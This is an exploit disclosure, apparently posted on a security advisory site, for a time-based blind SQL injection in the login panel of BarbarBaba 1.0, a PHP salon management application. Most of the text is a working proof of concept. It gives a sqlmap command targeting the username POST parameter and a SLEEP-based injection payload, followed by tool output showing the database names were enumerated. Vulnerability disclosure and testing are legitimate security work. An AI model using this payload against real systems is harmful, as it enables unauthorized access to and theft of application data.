BarbarBaba 1.0 time-based blind sql injection

2025.09.04
Credit: Furkan Sezgin
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

********************************************************* #Exploit Title: BarbarBaba 1.0 time-based blind sql injection #Date: 03.09.2025 #Exploit Author: Furkan Sezgin #Category: webapps Tested on: windows, kali linux, firefox # Software Link: https://www.sourcecodester.com/php/18171/best-salon-management-system-project-php.html PoC: sqlmap -u "http://localhost/barbarbaba/barbarbaba/panel/" --data="username=%27&password=%27&g-recaptcha-response=&login=Sign+In" --dbs sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=' AND (SELECT 3362 FROM (SELECT(SLEEP(5)))ZtPO)-- zSBs&password='&g-recaptcha-response=&login=Sign In --- [16:21:24] [INFO] the back-end DBMS is MySQL web application technology: PHP, Apache 2.4.58, PHP 8.2.12 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [16:21:24] [INFO] resumed: information_schema [16:21:24] [INFO] resumed: barber_baba *********************************************************


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2025, cxsecurity.com

 

Back to Top